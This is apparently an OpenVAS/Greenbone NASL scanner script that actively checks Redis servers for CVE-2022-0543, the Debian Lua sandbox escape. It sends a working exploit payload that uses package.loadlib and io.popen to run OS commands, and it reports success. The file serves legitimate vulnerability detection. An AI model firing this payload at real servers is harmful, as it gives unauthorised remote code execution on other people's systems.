Redis RCE Vulnerability (CVE-2022-0543) - Active Check

# Copyright (C) 2022 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE = "cpe:/a:redis:redis";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.148029");
  script_version("2022-08-09T10:11:17+0000");
  script_tag(name:"last_modification", value:"2022-08-09 10:11:17 +0000 (Tue, 09 Aug 2022)");
  script_tag(name:"creation_date", value:"2022-05-03 04:18:25 +0000 (Tue, 03 May 2022)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2022-03-09 02:03:00 +0000 (Wed, 09 Mar 2022)");

  script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
  script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
  script_cve_id("CVE-2022-0543");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Redis RCE Vulnerability (CVE-2022-0543) - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2022 Greenbone Networks GmbH");
  script_family("Databases");
  script_dependencies("gb_redis_detect.nasl", "os_detection.nasl");
  script_mandatory_keys("redis/installed", "Host/runs_unixoide");
  script_require_ports("Services/redis", 6379);

  script_tag(name:"summary", value:"Redis is prone to a remote code execution (RCE) vulnerability.");

  script_tag(name:"insight", value:"It was discovered, that redis, a persistent key-value database,
  due to a packaging issue, is prone to a (Debian-specific) Lua sandbox escape, which could result
  in remote code execution.");

  script_tag(name:"affected", value:"Redis on Debian and Debian-based systems like Ubuntu.");

  script_tag(name:"solution", value:"Update to the latest version from your distribution.");

  script_xref(name:"URL", value:"https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce");
  script_xref(name:"URL", value:"https://lists.debian.org/debian-security-announce/2022/msg00048.html");
  script_xref(name:"URL", value:"https://packetstormsecurity.com/files/166885/Redis-Lua-Sandbox-Escape.html");
  script_xref(name:"URL", value:"https://www.debian.org/security/2022/dsa-5081");
  script_xref(name:"URL", value:"https://ubuntu.com/security/notices/USN-5316-1");

  exit(0);
}

include("host_details.inc");
include("port_service_func.inc");
include("misc_func.inc");
include("os_func.inc");

port = service_get_port(default: 6379, proto: "redis");

soc = open_sock_tcp(port);
if (!soc)
  exit(0);

cmds = exploit_commands("linux");

# nb: File names taken from the following packages of buster and bullseye:
# - https://packages.debian.org/buster/liblua5.1-0
# - https://packages.debian.org/bullseye/liblua5.1-0
# File names are also the same on Ubuntu (checked on affected 20.04 and 21.10).
# Also note that "redis-tools" (which is a dependency of "redis-server") is having a dependency
# on "liblua5.1-0" on buster and bullseye so only the 5.1 file names (and not the 5.2 or 5.3 ones)
# are used in the list below.
libs = make_list("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
                 "/usr/lib/aarch64-linux-gnu/liblua5.1.so.0",
                 "/usr/lib/arm-linux-gnueabi/liblua5.1.so.0",
                 "/usr/lib/arm-linux-gnueabihf/liblua5.1.so.0",
                 "/usr/lib/i386-linux-gnu/liblua5.1.so.0",
                 "/usr/lib/mips-linux-gnu/liblua5.1.so.0", # nb: Only available on buster but not on bullseye
                 "/usr/lib/mips64el-linux-gnuabi64/liblua5.1.so.0",
                 "/usr/lib/mipsel-linux-gnu/liblua5.1.so.0",
                 "/usr/lib/powerpc64le-linux-gnu/liblua5.1.so.0",
                 "/usr/lib/s390x-linux-gnu/liblua5.1.so.0");

foreach pattern (keys(cmds)) {
  cmd = cmds[pattern];

  foreach lib (libs) {
    payload = "eval 'local io_l = " + 'package.loadlib("' + lib +'",' +
              ' "luaopen_io"); local io = io_l(); local f = io.popen("' + cmd + '", "r");' +
              ' local res = f:read("*a"); f:close();' + " return res' 0" + '\r\n';

    send(socket: soc, data: payload);
    res = recv(socket: soc, length: 512);

    if (egrep(pattern: pattern, string: res)) {
      close(soc);
      report = 'By doing the following request:\n\n' + payload + '\nit was possible to execute the "' + cmd + '" command.\n\nResult:\n\n' + chomp(res);
      security_message(port: port, data: report);
      exit(0);
    }
  }
}

close(soc);

exit(0); # Results depending on the architecture